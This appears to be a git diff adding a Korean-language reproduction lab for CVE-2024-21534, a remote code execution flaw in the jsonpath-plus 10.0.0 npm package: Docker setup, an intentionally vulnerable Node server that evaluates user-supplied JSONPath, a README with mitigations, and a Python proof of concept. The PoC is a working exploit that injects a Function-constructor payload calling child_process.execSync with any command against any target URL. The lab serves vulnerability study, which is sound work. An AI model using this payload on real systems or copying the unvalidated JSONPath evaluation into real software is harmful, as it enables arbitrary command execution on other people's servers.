diff --git a/JSONPath-Plus/CVE-2024-21534/1.png b/JSONPath-Plus/CVE-2024-21534/1.png new file mode 100644 index 000000000..cd8ba39ab Binary files /dev/null and b/JSONPath-Plus/CVE-2024-21534/1.png differ diff --git a/JSONPath-Plus/CVE-2024-21534/2.png b/JSONPath-Plus/CVE-2024-21534/2.png new file mode 100644 index 000000000..fe1b7636e Binary files /dev/null and b/JSONPath-Plus/CVE-2024-21534/2.png differ diff --git a/JSONPath-Plus/CVE-2024-21534/Dockerfile b/JSONPath-Plus/CVE-2024-21534/Dockerfile new file mode 100644 index 000000000..15e491439 --- /dev/null +++ b/JSONPath-Plus/CVE-2024-21534/Dockerfile @@ -0,0 +1,12 @@ +FROM node:22-alpine@sha256:16e22a550f3863206a3f701448c45f7912c6896a62de43add43bb9c86130c3e2 + +WORKDIR /app + +COPY package.json package-lock.json ./ +RUN npm ci --omit=dev + +COPY index.js ./ + +EXPOSE 3000 + +CMD ["node", "index.js"] diff --git a/JSONPath-Plus/CVE-2024-21534/README.md b/JSONPath-Plus/CVE-2024-21534/README.md new file mode 100644 index 000000000..8960df82e --- /dev/null +++ b/JSONPath-Plus/CVE-2024-21534/README.md @@ -0,0 +1,87 @@ +# CVE-2024-21534 | JSONPath-Plus Remote Code Execution + +## 취약점 요약 + +`JSONPath-Plus`는 JavaScript에서 JSONPath 표현식을 평가하는 npm 패키지입니다. CVE-2024-21534는 `JSONPath-Plus`의 부적절한 입력 검증으로 인해 Node.js 환경에서 원격 코드 실행(RCE)이 가능한 취약점입니다. + +- 공식 CVE: CVE-2024-21534 +- 취약 패키지: `jsonpath-plus` +- 실습 버전: `10.0.0` +- 취약 유형: CWE-94, Improper Control of Generation of Code + +## 환경 구성 + +- Base image: `node:22-alpine@sha256:16e22a550f3863206a3f701448c45f7912c6896a62de43add43bb9c86130c3e2` +- Runtime: Node.js 22 Alpine +- 취약 패키지: `jsonpath-plus@10.0.0` +- 의존성 고정: `package-lock.json` +- 설치 방식: `npm ci --omit=dev` +- 서비스 포트: `3000` + +## 취약 조건 + +사용자가 전달한 JSONPath 표현식을 검증 없이 `JSONPath({ path, json })`에 전달하면 취약합니다. 이 실습 서버는 `/query` 요청의 `path` 값을 그대로 취약한 `jsonpath-plus@10.0.0`에 넘깁니다. + +```js +const result = JSONPath({ path: payload.path, json: data }); +``` + +## 재현 절차 + +1. 취약 환경을 실행합니다. + +```sh +docker compose up --build -d +``` + +2. PoC를 실행합니다. + +- 기본 PoC는 컨테이너 내부에서 `id` 명령을 실행합니다. +```sh +python3 poc.py http://127.0.0.1:3000 +``` + +- 다른 명령을 확인하려면 두 번째 인자로 전달합니다. +```sh +python3 poc.py http://127.0.0.1:3000 "uname -a" +``` + +3. 실습 후 정리합니다. + +```sh +docker compose down +``` + +## PoC 코드 + +PoC는 악성 JSONPath payload를 만들어 `/query`에 전송합니다. payload 내부의 Function constructor가 `child_process.execSync()`를 호출하면서 명령 실행으로 이어집니다. + +```python +command = "id" +js = ( + 'throw new Error(this.process.mainModule.require("child_process")' + f".execSync({json.dumps(command)}).toString())" +) +path = f"$[?([].constructor.constructor({json.dumps(js)})())]" +``` + +전송되는 JSONPath 구조는 다음과 같습니다. + +```js +$[?([].constructor.constructor("... child_process.execSync(...) ...")())] +``` + +## 실행 결과 + +- `python3 poc.py http://127.0.0.1:3000`로 PoC를 실행하면, 응답의 `error` 필드에 컨테이너 내부 `id` 명령 결과가 포함됩니다. +![](1.png) + +- `python3 poc.py http://127.0.0.1:3000 "uname -a"`처럼 다른 명령을 확인할 수도 있습니다. +![](2.png) + +## 대응 방안 + +- `JSONPath-Plus`를 `10.3.0` 이상으로 업그레이드합니다. +- 사용자 입력을 JSONPath 표현식으로 그대로 평가하지 않습니다. +- JSONPath가 꼭 필요하다면 허용 가능한 표현식만 allowlist 방식으로 제한합니다. +- 애플리케이션과 컨테이너를 최소 권한으로 실행해 RCE 발생 시 피해 범위를 줄입니다. \ No newline at end of file diff --git a/JSONPath-Plus/CVE-2024-21534/docker-compose.yml b/JSONPath-Plus/CVE-2024-21534/docker-compose.yml new file mode 100644 index 000000000..a93cfb06c --- /dev/null +++ b/JSONPath-Plus/CVE-2024-21534/docker-compose.yml @@ -0,0 +1,9 @@ +name: cve-2024-21534 + +services: + app: + build: . + container_name: cve-2024-21534 + image: cve-2024-21534:local + ports: + - "3000:3000" diff --git a/JSONPath-Plus/CVE-2024-21534/index.js b/JSONPath-Plus/CVE-2024-21534/index.js new file mode 100644 index 000000000..f246ff0fb --- /dev/null +++ b/JSONPath-Plus/CVE-2024-21534/index.js @@ -0,0 +1,38 @@ +const http = require("http"); +const { JSONPath } = require("jsonpath-plus"); + +const port = 3000; + +function reply(res, body) { + res.writeHead(200, { "Content-Type": "application/json; charset=utf-8" }); + res.end(JSON.stringify(body, null, 2)); +} + +http + .createServer((req, res) => { + const url = new URL(req.url, `http://${req.headers.host}`); + + if (req.method === "GET" && url.pathname === "/health") { + return reply(res, { ok: true }); + } + + if (req.method !== "POST" || url.pathname !== "/query") { + return reply(res, { error: "POST /query only" }); + } + + let body = ""; + req.on("data", (chunk) => (body += chunk)); + req.on("end", () => { + try { + const payload = JSON.parse(body || "{}"); + const data = payload.data || { a: "x" }; + const result = JSONPath({ path: payload.path, json: data }); + reply(res, { result }); + } catch (error) { + reply(res, { error: error.message }); + } + }); + }) + .listen(port, "0.0.0.0", () => { + console.log(`CVE-2024-21534 listening on :${port}`); + }); diff --git a/JSONPath-Plus/CVE-2024-21534/package-lock.json b/JSONPath-Plus/CVE-2024-21534/package-lock.json new file mode 100644 index 000000000..bc70703c1 --- /dev/null +++ b/JSONPath-Plus/CVE-2024-21534/package-lock.json @@ -0,0 +1,68 @@ +{ + "name": "cve-2024-21534", + "version": "1.0.0", + "lockfileVersion": 3, + "requires": true, + "packages": { + "": { + "name": "cve-2024-21534", + "version": "1.0.0", + "license": "MIT", + "dependencies": { + "jsonpath-plus": "10.0.0" + } + }, + "node_modules/@jsep-plugin/assignment": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/@jsep-plugin/assignment/-/assignment-1.3.0.tgz", + "integrity": "sha512-VVgV+CXrhbMI3aSusQyclHkenWSAm95WaiKrMxRFam3JSUiIaQjoMIw2sEs/OX4XifnqeQUN4DYbJjlA8EfktQ==", + "license": "MIT", + "engines": { + "node": ">= 10.16.0" + }, + "peerDependencies": { + "jsep": "^0.4.0||^1.0.0" + } + }, + "node_modules/@jsep-plugin/regex": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/@jsep-plugin/regex/-/regex-1.0.4.tgz", + "integrity": "sha512-q7qL4Mgjs1vByCaTnDFcBnV9HS7GVPJX5vyVoCgZHNSC9rjwIlmbXG5sUuorR5ndfHAIlJ8pVStxvjXHbNvtUg==", + "license": "MIT", + "engines": { + "node": ">= 10.16.0" + }, + "peerDependencies": { + "jsep": "^0.4.0||^1.0.0" + } + }, + "node_modules/jsep": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/jsep/-/jsep-1.4.0.tgz", + "integrity": "sha512-B7qPcEVE3NVkmSJbaYxvv4cHkVW7DQsZz13pUMrfS8z8Q/BuShN+gcTXrUlPiGqM2/t/EEaI030bpxMqY8gMlw==", + "license": "MIT", + "peer": true, + "engines": { + "node": ">= 10.16.0" + } + }, + "node_modules/jsonpath-plus": { + "version": "10.0.0", + "resolved": "https://registry.npmjs.org/jsonpath-plus/-/jsonpath-plus-10.0.0.tgz", + "integrity": "sha512-v7j76HGp/ibKlXYeZ7UrfCLSNDaBWuJMA0GaMjA4sZJtCtY89qgPyToDDcl2zdeHh4B5q/B3g2pQdW76fOg/dA==", + "license": "MIT", + "dependencies": { + "@jsep-plugin/assignment": "^1.2.1", + "@jsep-plugin/regex": "^1.0.3", + "jsep": "^1.3.9" + }, + "bin": { + "jsonpath": "bin/jsonpath-cli.js", + "jsonpath-plus": "bin/jsonpath-cli.js" + }, + "engines": { + "node": ">=18.0.0" + } + } + } +} diff --git a/JSONPath-Plus/CVE-2024-21534/package.json b/JSONPath-Plus/CVE-2024-21534/package.json new file mode 100644 index 000000000..610a52fb1 --- /dev/null +++ b/JSONPath-Plus/CVE-2024-21534/package.json @@ -0,0 +1,8 @@ +{ + "name": "cve-2024-21534", + "version": "1.0.0", + "dependencies": { + "jsonpath-plus": "10.0.0" + }, + "license": "MIT" +} diff --git a/JSONPath-Plus/CVE-2024-21534/poc.py b/JSONPath-Plus/CVE-2024-21534/poc.py new file mode 100644 index 000000000..9f3b41d2d --- /dev/null +++ b/JSONPath-Plus/CVE-2024-21534/poc.py @@ -0,0 +1,35 @@ +#!/usr/bin/env python3 +import json +import sys +import time +import urllib.error +import urllib.request + + +target = sys.argv[1].rstrip("/") if len(sys.argv) > 1 else "http://127.0.0.1:3000" +command = sys.argv[2] if len(sys.argv) > 2 else "id" + +js = ( + 'throw new Error(this.process.mainModule.require("child_process")' + f".execSync({json.dumps(command)}).toString())" +) +path = f"$[?([].constructor.constructor({json.dumps(js)})())]" +body = json.dumps({"path": path, "data": {"a": "x"}}).encode() + +request = urllib.request.Request( + f"{target}/query", + data=body, + headers={"Content-Type": "application/json"}, +) + +last_error = None +for _ in range(10): + try: + with urllib.request.urlopen(request, timeout=10) as response: + print(response.read().decode()) + break + except (OSError, urllib.error.URLError) as error: + last_error = error + time.sleep(1) +else: + raise SystemExit(f"exploit failed: {last_error}")